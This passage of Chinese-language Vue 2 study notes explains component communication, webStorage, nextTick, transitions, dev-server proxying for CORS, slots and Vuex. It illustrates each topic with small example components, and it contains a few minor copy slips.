    (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

​ 1).一个组件在用:放在组件自身即可。

​ 2). 一些组件在用:放在他们共同的父组件上(状态提升)。

(3).实现交互:从绑定事件开始。

  1. props适用于:

    (1).父组件 ==> 子组件 通信(一般直接将父亲的数据以属性的形式传给子组件,子组件用props接收)

    (2).子组件 ==> 父组件 通信(父亲以可变属性:xxx=函数名父亲中定义的函数传给孩子,孩子通过调用该函数,同时以孩子这边的数据作为实参,这样父亲就可以操作孩子这边的数据了)

  2. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

  3. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。

兄弟间通信

image-20230430102257160

兄弟间通信可以转变成:Header->App, App->List

image-20230430102445043

MyHeader接受输入框的数据title,将数据包装成todoObj={id:nanoid(),title:this.title,done:false},通过调用addTodo(todoObj)将todoObj传给App组件,同时清空输入框,App组件的方法addTodo将新的todoObj添加到data中的数组todos中,Vue侦听到了todos的变化,开始重新渲染模板。因为之前已经通过props将App中的todos传给了MyList组件,所以MyList组件也会更新。这样就能实现添加todo的功能了

动画5

image-20230430103626789

注意data、props、methods、computed中的数据不能同名,因为它们的数据都会出现在vm或vc的第一层,有同名冲突的风险

image-20230430104708815

webStorage

webStorage包含localStorage和sessionStorage

  1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)
  2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。
  3. 相关API:
    1. xxxxxStorage.setItem('key', 'value');
      该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。会给非字符串的值自动调用toString()方法
    2. xxxxxStorage.getItem('person');
      该方法接受一个键名作为参数,返回键名对应的值。若键名不存在,则返回null
    3. xxxxxStorage.removeItem('key');
      该方法接受一个键名作为参数,并把该键值对从存储中删除。
    4. xxxxxStorage.clear()
      该方法会清空存储中的所有数据。
  4. 备注:
    1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage存储的内容,需要手动清除才会消失(比如清除浏览器缓存,在开发者工具中手动清除等)。
    3. JSON.parse(null)的结果依然是null。

组件的自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:
    这里假设test是自定义事件的回调函数(事件响应函数)

    1. 第一种方式,在父组件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>。若想让自定义事件只能触发一次,则写成<Demo @atguigu.once="test"/><Demo v-on:atguigu.once="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="xxx"/>
      ......
      mounted(){
         this.$refs.xxx.$on('atguigu',this.test)
         // 若想让自定义事件只能触发一次,可以用`$once`代替`$on`
      }
      
  4. 触发自定义事件:this.$emit(事件名,传给回调函数的参数...)

  5. 解绑自定义事件

    • 解绑一个this.$off(事件名)
    • 解绑多个this.$off(['atguigu','demo'])
    • 解绑所有的自定义事件this.$off()
  6. 组件上也可以绑定原生DOM事件,需要使用native修饰符。

  7. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中要么用箭头函数,如果以这种方式绑定事件this.$refs.xxx.$on('atguigu',function(){}),function(){}中的this指向的是触发事件的组件

App.vue

<template>
	<div class="app">
		<h1>{{msg}},学生姓名是:{{studentName}}</h1>

		<!-- 通过父组件给子组件传递函数类型的props, 实现子给父传递数据 -->
		<School :getSchoolName="getSchoolName"/>

		<!-- 通过父组件给子组件绑定一个自定义事件,实现:子给父传递数据(第一种写法,使用@或v-on) -->
		<!-- <Student @atguigu="getStudentName" @demo="m1"/> -->

		<!-- 通过父组件给子组件绑定一个自定义事件,实现:子给父传递数据(第二种写法,先使用ref,然后通过this.$refs.xxx.$on()绑定自定义事件 -->
		<!-- 给组件绑定内置事件需要native修饰符 -->
		<Student ref="student" @click.native="show"/>
	</div>
</template>

<script>
	import Student from './components/Student'
	import School from './components/School'

	export default {
		name:'App',
		components:{School,Student},
		data() {
			return {
				msg:'你好啊!',
				studentName:''
			}
		},
		methods: {
			getSchoolName(name){
				console.log('App收到了学校名:',name)
			},
			getStudentName(name,...params){
				console.log('App收到了学生名:',name,params)
				this.studentName = name
			},
			m1(){
				console.log('demo事件被触发了!')
			},
			show(){
				alert(123)
			}
		},
		mounted() {
			this.$refs.student.$on('atguigu',this.getStudentName) //绑定自定义事件
			// this.$refs.student.$once('atguigu',this.getStudentName) //绑定自定义事件(一次性)
		},
	}
</script>

Student.vue

<template>
	<div class="student">
		<h2>学生姓名:{{name}}</h2>
		<h2>学生性别:{{sex}}</h2>
		<h2>当前求和为:{{number}}</h2>
		<button @click="add">点我number++</button>
		<button @click="sendStudentName">把学生名给App</button>
		<button @click="unbind">解绑atguigu事件</button>
		<button @click="death">销毁当前Student组件的实例(vc)</button>
	</div>
</template>

<script>
	export default {
		name:'Student',
		data() {
			return {
				name:'张三',
				sex:'男',
				number:0
			}
		},
		methods: {
			add(){
				console.log('add回调被调用了')
				this.number++
			},
			sendStudentlName(){
				//触发在App.vue中绑定在Student组件实例上的atguigu事件。this.name,666,888,900这些数据就会传递给App组件中定义的回调函数,通过给App子组件绑定自定义事件,这样App就能操作子组件Student中的数据了
				this.$emit('atguigu',this.name,666,888,900)
				// this.$emit('demo')
				// this.$emit('click')
			},
			unbind(){
				this.$off('atguigu') //解绑一个自定义事件
				// this.$off(['atguigu','demo']) //解绑多个自定义事件
				// this.$off() //解绑所有的自定义事件
			},
			death(){
				this.$destroy() //销毁了当前Student组件的实例,销毁后所有Student实例的自定义事件全都不奏效,但内置事件仍有效。
			}
		},
	}
</script>

全局事件总线

image-20230430231200425

  1. 一种组件间通信的方式,适用于任意组件间通信

  2. 安装全局事件总线:

    new Vue({
    	......
    	beforeCreate() {
    		Vue.prototype.$bus = this //安装全局事件总线,这里this指vm,赋值后$bus指向vm(Vue的实例对象)
    	},
        ......
    }) 
    
  3. 使用事件总线:
    例如:A组件想接收来自B组件的数据,则在A组件中给$bus绑定自定义事件,事件的回调在A组件中定义

    1. A组件中:
      methods(){ demo(data){......} } ...... mounted() { this.$bus.$on('xxxx',this.demo) }

      mounted() { this.$bus.$on('xxxx',()=>{ // 注意要是箭头函数 ... }) }
    2. B组件中:调用方法,this.$bus.$emit('xxxx',数据)
  4. 这样,事件绑定在vm上,并且事件由vm触发。如果要销毁执行事件绑定操作的A组件,记得在A的beforeDestroy钩子中,用\(off去解绑A之前给vm绑定的事件,以提高性能(因为所有组件都向\)bus绑定事件,$bus的负担比较重)。

思考1:为什么将$bus这个中间人定义在Vue.prototype中,并且指向vm?

答:因为定义在Vue.prototype中的话,由组件实例.__proto__.__proto__===Vue.prototype, Vue.prototype===vm.__proto__的关系可知,Vue.prototype.\(bus就相当于`组件实例.__proto__.__proto__.\)bus`,这样所有组件都能访问到\(bus**。指向vm的话是因为vm不会像组件那样轻易被销毁,并且vm中有自定义事件相关的\)on, $off, \(emit等这些方法,**这样\)bus上就有事件相关的操作了。以上2点就能让所有组件能对$bus进行事件的相关操作了。

思考2:为什么要在new Vue({ beforeCreate(){} })的内部部定义Vue.prototype.$bus = this

答:如果在new Vue({...})的前面定义,vm此时还未创建。如果在new Vue({...})的后面定义,整个App模板已经渲染完了。beforeCreate阶段还未开始模板解析,这时把以后要用的$bus定义好最佳

以todoList实例为例

  1. 未用全局事件之前

    • 祖先和后代的通信
      image-20230501181653015
    • 兄弟间的通信
      image-20230501183943893
  2. 使用全局事件之后
    image-20230501175615803

消息订阅与发布(pubsub)

  1. 一种组件间通信的方式,适用于任意组件间通信。通过消息名建立组件间的联系

  2. 使用步骤:

    1. 安装pubsub:npm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调定义在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
         // 由于不能直接通过PubSub.unsubscribe('消息名')取消订阅,所以此处通过this.pid存储订阅,用pubsub.unsubscribe(pid)取消订阅
        this.pid = pubsub.subscribe('消息名',this.demo) //订阅消息
      }
      
    4. 提供数据:pubsub.publish('消息名',数据)

    5. 最好在beforeDestroy钩子中,用pubsub.unsubscribe(pid)取消订阅。

nextTick

  1. 语法:this.$nextTick(回调函数)
  2. 作用:在下一次 DOM 更新结束后再执行里面的回调函数。
  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时。这时需要将操作写在nextTick的回调函数中。

例子:

<template>
  <li>
    <label>
      <input
        type="checkbox"
        :checked="todo.done"
        @change="handleCheck(todo.id)"
      />
      <span v-show="!todo.isEdit">{{ todo.title }}</span>
      <!-- blur是失去焦点事件 -->
      <input
      v-show="todo.isEdit"
      type="text"
      @blur="handleBlur($event,myTodo)"
      :value="todo.title"
      ref="inputTitle"
      >

    </label>
    <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button>
    <button
      v-show="!todo.isEdit"
      class="btn btn-edit"
      @click="handleEdit($event,myTodo)"
    >编辑</button>
  </li>
</template>
<script>
export default {
  name: "MyItem",
  props:['todo'],
  data(){
    return{
      myTodo:this.todo
    }
  },
  methods: {
      handleEdit(e,myTodo){
      if(myTodo.hasOwnProperty('isEdit')){
        myTodo.isEdit=true;
      }else{
        this.$set(myTodo,'isEdit',true)
      }
      // 因为todo.isEdit更新后不会立即去重新解析模板,要等handleEdit函数执行完才去解析,所以此时input输入框还未出现,故执行this.$refs.inputTitle.focus()不生效。
      // 通过$nextTick让下一次DOM解析后再执行this.$refs.inputTitle.focus()。DOM解析后已经出现了input,故this.$refs.inputTitle.focus()此时生效
      this.$nextTick(()=>{
        this.$refs.inputTitle.focus()
      })
    }
}
</script>

Vue封装的过渡与动画

  1. 原理:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名。
  2. 图示:transition-classes.f0f7b3c9
  • 元素进入的样式:
    1. v-enter:进入的起点
    2. v-enter-active:进入过程中
    3. v-enter-to:进入的终点
  • 元素离开的样式:
    1. v-leave:离开的起点
    2. v-leave-active:离开过程中
    3. v-leave-to:离开的终点

一、定义动画/过渡:

<template>
	<div>
		<Test/>
		<Test2/>
		<Test3/>
	</div>
</template>

<script>
	import Test from './components/Test'
	import Test2 from './components/Test2'
	import Test3 from './components/Test3'

	export default {
		name:'App',
		components:{Test,Test2,Test3},
	}
</script>

动画6

  1. 动画(animation)形式
    1. 定义用@keyframes好动画
    2. 通过配置类选择器.hello-enter-active或.hello-leave-active使用动画。配置中设定了使用的动画名,动画时长,是否逆向播放,动画运动函数等。.hello-enter-active配置元素出现时的动画,hello-leave-active配置元素消失时的动画。

Test.vue

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<!-- 当只有一个元素使用动画时,用transition包裹,transition标签与template一样不会实际到HTML结构中 -->
		<!-- appear表示一开始就显示动画 -->
		<transition name="hello" appear>
			<h1 v-show="isShow">你好啊!</h1>
		</transition>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
	/* 指定进入时的动画,未指定动画名时类名是`v-enter-active` */
	.hello-enter-active{
		animation: atguigu 0.5s linear;
	}
	/* 指定离开时的动画,未指定动画名时类名是`v-leave-active` */
	.hello-leave-active{
		animation: atguigu 0.5s linear reverse;
	}
	/* 定义动画 */
	@keyframes atguigu {
		from{
			transform: translateX(-100%);
		}
		to{
			transform: translateX(0px);
		}
	}
</style>
  1. 过渡(transition)形式
    1. 定义出现,消失的起点和终点
    2. 通过配置类选择器.hello-enter-active或.hello-leave-active指定对哪一样式进行过渡(默认是全部all)。配置中还设定了过渡时长,过渡函数等

Test.2vue

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition-group name="hello" appear>
            <!-- 交替出现 -->
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>

<script>
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
	/* 给消失和出现添加过渡效果 */
	.hello-enter-active,.hello-leave-active{
		transition: 0.5s linear;
	}
	/* 定义进入的起点、离开的终点 */
	.hello-enter,.hello-leave-to{
		transform: translateX(-100%);
	}
	
	/* 定义进入的终点、离开的起点 */
	.hello-enter-to,.hello-leave{
		transform: translateX(0);
	}
</style>

二、使用动画或过渡
<transition></transition>标签包裹使用动画的元素,标签中的name属性用来区别对应的动画/过渡类名,appear表示一开始就显示动画。若有多个元素需要过度/动画,则需要使用:<transition-group>,且每个元素都要指定key值。

使用第三方库配置动画
这里以animate.css第三方库为例,具体使用方法要参照第三方库的说明文档

  1. 导入第三方库import 'animate.css',因为这是个CSS文件(不是JS),所以不用写from了
  2. 给要用动画的标签配置name="animate__animated animate__bounce"
  3. 参考说明文档,配置消失和出现类,如enter-active-class="animate__swing"leave-active-class="animate__backOutUp"

Test3.vue

<template>
	<div>
		<button @click="isShow = !isShow">显示/隐藏</button>
		<transition-group 
			appear
			name="animate__animated animate__bounce" 
			enter-active-class="animate__swing"
			leave-active-class="animate__backOutUp"
		>
			<h1 v-show="!isShow" key="1">你好啊!</h1>
			<h1 v-show="isShow" key="2">尚硅谷!</h1>
		</transition-group>
	</div>
</template>

<script>
	// 引入第三方库
	import 'animate.css'
	export default {
		name:'Test',
		data() {
			return {
				isShow:true
			}
		},
	}
</script>

<style scoped>
	h1{
		background-color: orange;
	}
</style>

vue脚手架配置代理

具有AJAX相关操作的库

  • jQuery:大概80%是DOM操作,剩下的有AJAX相关的操作,所以相对其他库体积较大。因为目前主流的框架Vue,React也包含了DOM操作,所以jQuery目前不太用了
  • axios:基于xhr封装的Promise风格的AJAX操作,体积比fetch大一些,比jQuery小。目前用的比较多,Vue作者也推荐在Vue中使用axios来进行AJAX操作
  • fetch:Window对象内置了fetch方法,而且是Promise风格的。缺点是fetch返回的数据包了2层Promise,也就是需要2次.then().then()才能拿到数据,且与IE浏览器不兼容(微软目前已停止维护IE)
    需求:浏览器在http://localhost:8080发出AJAX请求,请求地址为http://localhost:5000的服务器中的students数据
<template>
   <div>
      <button @click="getStudents">获取学生信息</button>
   </div>
</template>

<script>
   import axios from 'axios'
   export default {
      name:'App',
      methods: {
         getStudents(){
            axios.get('http://localhost:5000/students').then(
               response => {
                  console.log('请求成功了',response.data)
               },
               error => {
                  console.log('请求失败了',error.message)
               }
            )
         }
      },
   }
</script>

请求失败,原因是跨域了,浏览器发送了数据,服务器也将数据返回给了浏览器,浏览器发现跨域了,就没有显示数据

image-20230502161617523

解决跨域的办法

  1. CORS:配置响应头
  2. JSONP
  3. 使用代理服务器:nginx、vue-cli

image-20230502163022696

这里主要讲解Vue中用代理服务器解决跨域问题

开启代理服务器的方式

  1. 在vue.config.js中添加如下配置:
    devServer:{ proxy:"http://localhost:5000" // 写到代理服务器请求的服务器的端口号即可 }
    记得客户端请求地址改成代理服务器的地址

    axios.get('http://localhost:8080/students').then( response => { console.log('请求成功了',response.data) }, error => { console.log('请求失败了',error.message) } )

    说明:

    1. 优点:配置简单,请求资源时直接发给代理服务器即可。
    2. 缺点:不能代理多个服务器,不能灵活地控制请求是否要代理。
    3. 工作方式:当代理服务器不存在客户端请求的资源时,才会将请求转发给服务器。如果代理服务器已经有请求的数据,就不会将请求转发给服务器了,而是优先匹配代理服务器中的资源。这样就会有一个问题,就是当代理服务器有请求路径的数据资源但实际数据内容与服务器的不一样时,就会返回不正确的数据。比如代理服务器有students数据,但与最终服务器的students数据不一致,那优先返回的代理服务器的数据就是不正确的
  2. 在vue.config.js中添加如下配置:
    vue.config.js

 module.exports = {
   proxy: {
      // 代理服务器根据请求前缀来确定转发到哪个服务器,没有请求前缀的不会被转发
      '/atguigu': { // '/atguigu'是请求前缀,比如来自'http://localhost:8080/atguigu/students'的请求会被代理服务器转发到target中配置的'http://localhost:5000'服务器地址
        target: 'http://localhost:5000',// 最终服务器地址
				pathRewrite:{'^/atguigu':''},// 重写路径,将路径开头的'/atguigu'替换成空字符串,即清除前缀
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值,Vue脚手架此处默认是true,但React默认是false。changeOrigin为true就会修改请求地址与服务器地址一致(端口及前面的部分会保持一致),为false则还是保持原来的地址。
      },
      '/demo': {
        target: 'http://localhost:5001',
				pathRewrite:{'^/demo':''},
        // ws: true, //用于支持websocket
        // changeOrigin: true //用于控制请求头中的host值
      }
    }
 }
 /*
 changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
 changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
 changeOrigin默认值为true
 */

App.vue

<template>
	<div>
		<button @click="getStudents">获取学生信息</button>
		<button @click="getCars">获取汽车信息</button>
	</div>
</template>

<script>
	import axios from 'axios'
	export default {
		name:'App',
		methods: {
			getStudents(){
				axios.get('http://localhost:8080/atguigu/students').then(
					response => {
						console.log('请求成功了',response.data)
					},
					error => {
						console.log('请求失败了',error.message)
					}
				)
			},
			getCars(){
				axios.get('http://localhost:8080/demo/cars').then(
					response => {
						console.log('请求成功了',response.data)
					},
					error => {
						console.log('请求失败了',error.message)
					}
				)
			}
		},
	}
</script>

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。
  2. 缺点:配置略微繁琐

插槽

需求:使用同一个Category组件,但该组件中能显示不同的内容。

这时需要用插槽来实现这种需求,组件标签就需要用双标签的这种形式<Category></Category>

image-20230503170320966

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式。使用插槽时,与<Category></Category>子元素相关的样式可以写在子组件文件中(Category.vue,插入HMTL结构后再渲染样式),也可以写在父组件文件中(App.vue,先渲染样式,再将渲染好样式的HTML替换<slot></slot>

  2. 分类:默认插槽、具名插槽、作用域插槽

默认插槽

比喻:子组件挖一个坑,这个坑里面可以有一些默认的内容,如果父组件填了坑,就将父组件要填的内容替换默认内容,否则这个坑就用默认的内容)

父组件中:
        <Category>
           <div>html结构1</div>
        </Category>
子组件中:
        <div>
           <!-- 定义插槽 -->
           <slot>插槽默认内容...</slot>
        </div>

实例:

运行结果

image-20230503172302715

App.vue

<template>
<div class="container">
	<Category title="美食" >
		<!-- Category标签间写上具体内容 -->
		<img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
	</Category>

	<Category title="游戏" >
		<ul>
			<li v-for="(g,index) in games" :key="index">{{g}}</li>
		</ul>
	</Category>

	<Category title="电影">
		<video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
	</Category>
</div>
</template>
<script>
	import Category from './components/Category'
	export default {
		name:'App',
		components:{Category},
		data() {
			return {
				games:['红色警戒','穿越火线','劲舞团','超级玛丽']
			}
		},
	}
</script>
<style scoped>
	.container{
		display: flex;
		justify-content: space-around;
	}
</style>

Category.vue

<template>
<div class="category">
	<h3>{{title}}分类</h3>
	<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
	<!-- <slot></slot>标签里可以写默认的内容,当使用的<Category></Category>标签间没有内容时,就会显示默认内容 -->
	<slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
<script>
	export default {
		name:'Category',
		props:['title']
	}
</script>
<style scoped>
	.category{
		background-color: skyblue;
		width: 200px;
		height: 300px;
	}
	h3{
		text-align: center;
		background-color: orange;
	}
	video{
		width: 100%;
	}
	img{
		width: 100%;
	}
</style>

具名插槽

具名插槽图示

当一个子组件中用到多个插槽时,需要给每个插槽命名,以便父组件在使用子组件时知道将子组件内部的哪些内容放到子组件的哪些位置(比喻:子组件挖了多个坑,这些坑里可以有一些默认的内容,并且每个坑要有自己的名字,父组件使用子组件时在子组件内容里通过slot指定要填的坑)。多个同名的slot内容不会覆盖,而是追加

可以用template包裹多个要塞进的内容,这时可用v-slot:xxx#xxx指定要填的坑名,注意这种新的写法没有引号

模板语法

父组件中:
	<Category>
	    <template slot="center">
	      <div>html结构1</div>
	    </template>
		
	    <template v-slot:footer>
	       <div>html结构2</div>
	    </template>
	</Category>
子组件中:
	<div>
	   <!-- 定义插槽 -->
	   <slot name="center">插槽默认内容...</slot>
	   <slot name="footer">插槽默认内容...</slot>
	</div>

实例:
效果

image-20230503180803078

App.vue

<template>
	<div class="container">
		<Category title="美食" >
			<img slot="center" src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="">
			<a slot="footer" href="http://www.atguigu.com">更多美食</a>
		</Category>

		<Category title="游戏" >
			<ul slot="center">
 				<li v-for="(g,index) in games" :key="index">{{g}}</li>
			</ul>
			<div class="foot" slot="footer">
				<a href="http://www.atguigu.com">单机游戏</a>
				<a href="http://www.atguigu.com">网络游戏</a>
			</div>
		</Category>

		<Category title="电影">
			<!-- 多个同名的slot不会覆盖,而是追加 -->
			<span slot="center">视频</span>
			<video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
			<!-- 可以用template包裹多个要塞进的内容,这时可用v-slot:footer或#footer指定要填的坑名。用template的优点是template不会变成实际的HMTL结构,避免了不必要的div标签 -->
            <!--v-slot:footer是新的写法,Vue3中只支持这种写法或简写形式#footer-->
 			<template v-slot:footer>
 				<div class="foot">
 					<a href="http://www.atguigu.com">经典</a>
 					<a href="http://www.atguigu.com">热门</a>
 					<a href="http://www.atguigu.com">推荐</a>
 				</div>
 				<h4>欢迎前来观影</h4>
 			</template>
 		</Category>
 	</div>
 </template>
 
 <script>
 	import Category from './components/Category'
 	export default {
 		name:'App',
 		components:{Category},
 		data() {
 			return {
 				games:['红色警戒','穿越火线','劲舞团','超级玛丽']
 			}
 		},
 	}
 </script>
 
 <style scoped>
 	.container,.foot{
 		display: flex;
 		justify-content: space-around;
 	}
 	h4{
 		text-align: center;
 	}
 </style>

Category.vue

<template>
	<div class="category">
		<h3>{{title}}分类</h3>
		<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
		<slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现1</slot>
     		<slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现2</slot>
     	</div>
     </template>
     
     <script>
     	export default {
     		name:'Category',
     		props:['title']
     	}
     </script>
     
     <style scoped>
     	.category{
     		background-color: skyblue;
     		width: 200px;
     		height: 300px;
     	}
     	h3{
     		text-align: center;
     		background-color: orange;
     	}
     	video{
     		width: 100%;
     	}
     	img{
     		width: 100%;
     	}
     </style>

作用域插槽

  1. 理解:数据在子组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在子组件Category中,但使用数据所遍历出来的结构由父组件App决定)。子组件<slot></slot>中的属性值会包装成一个对象,该对象会传给父组件,父组件用scope属性接收
  2. 具体编码:
    效果
    image-20230504070822541
<template>
	<div class="container">

		<Category title="游戏">
			<!-- 注意是scope不是scoped -->
			<template scope="obj">
				<ul>
					<li>{{obj.msg}}</li>
					<li v-for="(g,index) in obj.games" :key="index">{{g}}</li>
				</ul>
			</template>
		</Category>

		<Category title="游戏">
			<!-- ES6语法,解构赋值{games:games} -->
			<template scope="{games}">
				<ol>
					<li style="color:red" v-for="(g,index) in games" :key="index">{{g}}</li>
   			</ol>
   		</template>
   	</Category>

   	<Category title="游戏">
   		<template slot-scope="obj">
   			<p>{{obj}}</p>
   		</template>
   	</Category>

   </div>
</template>

<script>
   import Category from './components/Category'
   export default {
   	name:'App',
   	components:{Category},
   }
</script>

<style scoped>
   .container,.foot{
   	display: flex;
   	justify-content: space-around;
   }
   h4{
   	text-align: center;
   }
</style>

Category.vue

<template>
	<div class="container">

		<Category title="游戏">
			<!-- 注意是scope不是scoped -->
			<template scope="obj">
				<ul>
					<li>{{obj.msg}}</li>
					<li v-for="(g,index) in obj.games" :key="index">{{g}}</li>
         				</ul>
         			</template>
         		</Category>
         
         		<Category title="游戏">
         			<!-- ES6语法,解构赋值{games:games} -->
         			<template scope="{games}">
         				<ol>
         					<li style="color:red" v-for="(g,index) in games" :key="index">{{g}}</li>
         				</ol>
         			</template>
         		</Category>
         
         		<Category title="游戏">
         			<template slot-scope="obj">
         				<p>{{obj}}</p>
         			</template>
         		</Category>
         
         	</div>
         </template>
         
         <script>
         	import Category from './components/Category'
         	export default {
         		name:'App',
         		components:{Category},
         	}
         </script>
         
         <style scoped>
         	.container,.foot{
         		display: flex;
         		justify-content: space-around;
         	}
         	h4{
         		text-align: center;
         	}
         </style>

Vuex

需求:实现A组件中的x能被所有组件读取,同时能被所有组件修改

如下图,对比全局总线和Vuex实现多组件共享数据

  1. 全局事件实现多组件共享数据:
    实现读取:B, C, D都要向全局事件总线绑定getX事件,并指定自己的回调函数,A组件负责触发getX事件来实现向B, C, D传送数据x的目的。
    实现修改:B, C, D想要把修改后的x传给A,那么A需要向全局事件总线绑定updateX事件,并指定自己的回调函数,B, C, D在需要时触发updateX事件,这样就可以把修改后的x传给A
    缺点:要写多次触发与绑定,组件间关系显得混乱image-20230504114610271

  2. Vuex实现多组件共享数据:将共享的数据放到vuex中,这样组件间关系就不那么混乱了
    image-20230504140311029

基本概念

在Vue中实现集中式 数据/状态 管理的一个Vue插件,对vue应用中多个组件的共享 数据/状态 进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。在多个组件需要共享数据时使用。

actions、mutations、state都是对象

  • dispatch:通过dispatch('actions中的函数名',数据)调用actions中的操作
  • commit:通过commit('mutations中的函数名',数据)直接调用mutations中的函数,如果不需要通过actions中的函数操作,可以调用commit
  • actions:存与请求服务器数据相关的操作或中间的过渡操作。actions中的函数第一个参数是一个对象(如下图,包含方法和state数据),后面的参数是dispatch传过来的数据
    image-20230504214514407
  • mutations:mutations中的函数没有AJAX操作,操作结果会自动更新到state。mutations中的函数第一个参数是一个对象(如下图,主要包含state数据),后面的参数是commit传过来的数据
    image-20230504214630545
  • state:存储组件共享的数据,里面的数据最终会渲染到页面
  • 开发者工具监视mutations中的函数操作
vuex

搭建vuex环境

  1. 创建文件:src/store/index.js
    就如通过new Vue()创建vm实例对象一样,store对象通过new Vuex.Store()创建(首字母大写的一般是构造函数,可通过new 关键词创建相应的实例)

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
    
    //准备actions对象——响应组件中用户的动作
    const actions = {
        操作函数
    }
    //准备mutations对象——修改state中的数据
    const mutations = {
        操作函数
    }
    //准备state对象——保存具体的数据
    const state = {
        组件共享的数据
    }
    
    //创建并暴露store
    // 就如通过new Vue()创建vm实例对象一样,store对象通过new Vuex.Store()创建(首字母大写的一般是构造函数,可通过new 关键词创建相应的实例)
    export default new Vuex.Store({
       actions,
       mutations,
       state
    })
    
  2. main.js中创建vm时传入store配置项

    import Vue from 'vue'
    //引入store,index.js可以不写,默认会优先寻找文件夹下的index.js文件
    import store from './store/index.js'
    ......
    
    //创建vm
    new Vue({
       el:'#app',
       render: h => h(App),
       store // store: store的简写
    })
    

getters的使用

getters与state的关系就类似于computed与data的关系。Vuex.Store()对应store实例,Vue对应vm实例

image-20230504230140578
  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。getters中的函数的参数为state对象,如下图所示
    image-20230505065241026

  2. store/index.js中追加getters配置

    //该文件用于创建Vuex中最为核心的store
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
    
    //准备actions——用于响应组件中的动作
    const actions = {......}
    //准备mutations——用于操作数据(state)
    const mutations = {......}
    //准备state——用于存储数据
    const state = {......}
    //准备getters——用于将state中的数据进行加工
    const getters = {
       bigSum(state){
          return state.sum*10
       }
    }
    
    //创建并暴露store
    export default new Vuex.Store({
       actions,
       mutations,
       state,
       getters
    })
    
  3. 组件中读取数据:$store.getters.bigSum

四个map方法的使用

四个map方法分别是mapState、mapGetters、mapActions、mapMutations。这4个方法的目的都是为了简化代码。其中...mapState({})...mapGetters({})写在computed配置项中,...mapActions({})...mapMutations({})写在methods配置项中

mapState与mapGetters

场景:如下代码所示,每次使用state里的数据时,都有$store.state.这一前缀,每次使用getters里的数据时,都有$store.getters这一前缀,这样代码不够简洁。于是有了mapState与mapGetters来解决这一问题

<template>
	<div>
		<h1>当前求和为:{{$store.state.sum}}</h1>
		<h3>当前求和放大10倍为:{{$store.getters.bigSum}}</h3>
    </div>
</template>

mapState({he:'sum',xuexiao:'school',xueke:'subject'})的返回值是如下的对象

image-20230508104213447

mapGetters({bigSum:'bigSum'})的返回值是如下的对象

image-20230508104450680

mapState与mapGetters里的每一对键值对就相当于定义了一个计算属性。建议键和值的名字一样,这样就可以用简写形式了,且不用额外取名字。非简写形式是用对象作为mapState与mapGetters的参数,简写形式是用数组作为mapState与mapGetters的参数

image-20230508110026067
<template>
	<div>
		<h1>当前求和为:{{sum}}</h1>
		<h3>当前求和放大10倍为:{{bigSum}}</h3>
		<h3>我在{{school}},学习{{subject}}</h3>
	</div>
</template>

<script>
	import {mapState,mapGetters} from 'vuex'
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用户选择的数字
			}
		},
		computed:{
			//靠程序员自己亲自去写计算属性
			// sum(){
			// 	return this.$store.state.sum
			// },
			// school(){
			// 	return this.$store.state.school
			// },
			// subject(){
			// 	return this.$store.state.subject
			// },

			//借助mapState生成计算属性,从state中读取数据。(对象写法)
			// ...mapState({he:'sum',xuexiao:'school',xueke:'subject'}),

			//借助mapState生成计算属性,从state中读取数据。(数组写法)
			...mapState(['sum','school','subject']),// 相当于...mapState({sum:'sum',school:'school',subject:'subject'}),

			/* ******************************************************************** */

			/* bigSum(){
